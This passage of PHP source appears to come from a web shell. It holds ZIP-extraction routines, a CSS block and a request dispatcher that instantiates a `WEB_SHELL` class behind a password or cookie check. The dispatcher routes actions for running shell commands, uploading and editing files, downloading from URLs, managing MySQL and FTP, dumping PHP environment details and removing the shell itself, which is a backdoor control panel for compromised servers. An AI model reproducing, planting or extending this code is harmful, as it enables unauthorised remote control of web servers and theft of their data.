  @fseek($zip, $size-$maximum_size);
  $pos = ftell($zip); $bytes = 0x00000000;

  while ($pos < $size)
  {
    $byte = @fread($zip, 1); $bytes=($bytes << 8) | Ord($byte);
    
    if ($bytes == 0x504b0506){ $pos++; break; } $pos++;
  }
   
   
   $data=unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size',fread($zip,18));
   

  if ($data['comment_size'] != 0)
    $centd['comment'] = fread($zip, $data['comment_size']);
    else $centd['comment'] = ''; $centd['entries'] = $data['entries'];
  $centd['disk_entries'] = $data['disk_entries'];
  $centd['offset'] = $data['offset'];$centd['disk_start'] = $data['disk_start'];
  $centd['size'] = $data['size'];  $centd['disk'] = $data['disk'];
  return $centd;
 }

 function ExtractFile($header,$to,$zip)
 {
   $header = $this->readfileheader($zip);

   if(substr($to,-1)!="/") $to.="/";
   if(!@is_dir($to)) @mkdir($to,0777);

   $pth = explode("/",dirname($header['filename']));
   for($i=0;isset($pth[$i]);$i++){
     if(!$pth[$i]) continue;$pthss.=$pth[$i]."/";
     if(!is_dir($to.$pthss)) @mkdir($to.$pthss,0777);
   }
  if (!($header['external']==0x41FF0010)&&!($header['external']==16))
  {
   if ($header['compression']==0)
   {
    $fp = @fopen($to.$header['filename'], 'wb');
    if(!$fp) return(-1);
    $size = $header['compressed_size'];

    while ($size != 0)
    {
      $read_size = ($size < 2048 ? $size : 2048);
      $buffer = fread($zip, $read_size);
      $binary_data = pack('a'.$read_size, $buffer);
      @fwrite($fp, $binary_data, $read_size);
      $size -= $read_size;
    }
    fclose($fp);
    touch($to.$header['filename'], $header['mtime']);

  }else{
   $fp = @fopen($to.$header['filename'].'.gz','wb');
   if(!$fp) return(-1);
   $binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
     Chr(0x00), time(), Chr(0x00), Chr(3));

   fwrite($fp, $binary_data, 10);
   $size = $header['compressed_size'];

   while ($size != 0)
   {
     $read_size = ($size < 1024 ? $size : 1024);
     $buffer = fread($zip, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
   }

   $binary_data = pack('VV', $header['crc'], $header['size']);
   fwrite($fp, $binary_data,8); fclose($fp);

   $gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("Cette archive est compress");
    if(!$gzp) return(-2);
   $fp = @fopen($to.$header['filename'],'wb');
   if(!$fp) return(-1);
   $size = $header['size'];

   while ($size != 0)
   {
     $read_size = ($size < 2048 ? $size : 2048);
     $buffer = gzread($gzp, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
   }
   fclose($fp); gzclose($gzp);

   touch($to.$header['filename'], $header['mtime']);
   @unlink($to.$header['filename'].'.gz');

  }}
  return true;
 }
} //ZIP压缩类end


// ---------------------------------------------------------------------
//
// ZIP类结束 
//
// ---------------------------------------------------------------------




$style =" 
<style type=\"text/css\">
<!--

.p1 {  font-size: 9pt; line-height: 150%; color: #000000}
.q {  border: #000000 solid; border-width: 0px 0px 1px}
a:link { color: #333399; 
 font-size: 12px; 

 text-decoration: none;}
a:visited { color: #333333; 
 font-size: 12px; 

 text-decoration: none;}
a:active { color: #999999; 
 font-size: 12px; 
 
 text-decoration: none;}
a:hover { color: #999999;
 font-size: 12px; 
 font-weight: bold; 
 text-decoration: none;}
BODY {
	background-color: #ffffff; 

	SCROLLBAR-FACE-COLOR: #999999; SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; SCROLLBAR-SHADOW-COLOR: #ffffff; SCROLLBAR-3DLIGHT-COLOR: #999999; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-TRACK-COLOR: #666666; SCROLLBAR-DARKSHADOW-COLOR: #666666

 font-family: verdana,trebuchet,sans-serif;
}
.p2 {  font-size: 9pt; color: #000000}
.qqqqqqqq {  border: #000000; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px}
.aq {  font-size: 9pt; line-height: 150%; color: #000000; filter: DropShadow(Color=#ffffff, OffX=1, OffY=1, Positive=1)}
.hghfdg {  font-size: 9pt; color: #333333; line-height: 130%}
.saw {  font-size: 9pt; line-height: 130%; color: #000000}

.ss {  font-size: 9pt;  line-height: 150%; color: #ffffff}

A {  font-size: 12px; color: 000099; TEXT-DECORATION: none}


.9p {  font-size: 12px }
.10p {  font-size: 10pt}
table {  font-size: 12px }
.button {  font-size: 12px; border: 1px #000000 solid; background-color: 333333; height: 18px; cursor: hand}
.editbox { font-size: 12px; border: 1px #000000 solid; background-color: #F8F8FF; height: 18px}
.bigline {  font-size: 12px; line-height: 120%; letter-spacing: 1}
.newmesg {  font-size: 12px; line-height: 120% }
.code {
	BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-RIGHT: #999999 1px solid; BORDER-TOP: #999999 1px solid; COLOR: #cccccc; FONT-FAMILY: Verdana; FONT-SIZE: 12px; PADDING-BOTTOM: 2px; PADDING-LEFT: 2px; PADDING-RIGHT: 2px; PADDING-TOP: 2px
}

TEXTAREA {
	BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-RIGHT: #999999 1px solid; BORDER-TOP: #999999 1px solid; COLOR: #333333; FONT-SIZE: 10pt
}
INPUT {
	BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-RIGHT: #999999 1px solid; BORDER-TOP: #999999 1px solid; COLOR: #333333; FONT-SIZE: 10pt
}
SELECT {
	BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-RIGHT: #999999 1px solid; BORDER-TOP: #999999 1px solid; COLOR: #333333; FONT-SIZE: 10pt
}

.title
{
background:#f6f6f6;
}
.input_basic {
	BORDER-RIGHT: #818181 1px solid; BORDER-TOP: #818181 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #818181 1px solid; COLOR: #000000; BORDER-BOTTOM: #818181 1px solid; FONT-FAMILY: \"Arial\", \"???\"; BACKGROUND-COLOR: #ffffff
}.tb_1 {
	border: 1px dashed #000099;
	bordercolor:#dddddd;
	margin: auto;
	padding: 1px;
	height: auto;
	width: auto;
}
.style1 {color: #000099; font-weight: bold;}
-->
    
</style>
";
$r_admin['style'] = $style;
//echo "$style";

// ---------------------------------------------------------------------
//
// 函数处理开始
//
// ---------------------------------------------------------------------
$sd = new FUNC;
$gb = new WEB_SHELL;


$gb->input = $sd->getinput();

// ---------------------------------------------------------------------
//
// 根据action的输入判断操作
//
// ---------------------------------------------------------------------
if ($r_admin['flag'] == "1" && $r_admin['cookie'] ==  "0")
{
      	
      	if($gb->check_logined()); 
	
        else if($r_admin['pass'] == "0")
        {
         echo "$style";
	 $gb->show_login();
       	 return;
        }
}
else
{
	
		
     	if($gb->check_logined_cookie());
        else if($r_admin['pass'] == "0")
        {
	 $gb->show_login();
	 echo "$style";
       	 return;
        }
        
       
}

switch ($gb->input['action'])
{
case 'fileman':

	echo $gb->index();
	break;

case 'rename':
	echo $gb->index();
	break;

case 'editfile':

	echo $gb->editfile();
	break;

case 'savefile':
        echo "$style";
	echo $gb->savefile();
	break;

case 'fileup':
        echo "$style";
	echo $gb->fileup();
	break;
	
case 'urldownload':

	echo $gb->urldownload();
        break;

case 'shell':

	echo $gb->shell();
	break;

case 'm_mysql':

	echo $gb->m_mysql();
        break;

case 'phpenv':

	echo $gb->phpenv();
        break;


case 'phpinfo1':

	echo $gb->phpinfo1();
        break;

case 'selfremover':
        echo "$style";
	echo $gb->index();
        break;

case 'logout':
	echo $gb->index();
        break;

case 'about':

	echo $gb->about();
        break;

case 'my_ftp':

	echo $gb->my_ftp();
        break;
        
case 'ftp_editfile':

	echo $gb->ftp_editfile();
        break;        

case 'ftp_fileup':

	echo $gb->ftp_fileup();
        break;

default:
	echo $gb->index();
	break;
}

?>
			
                        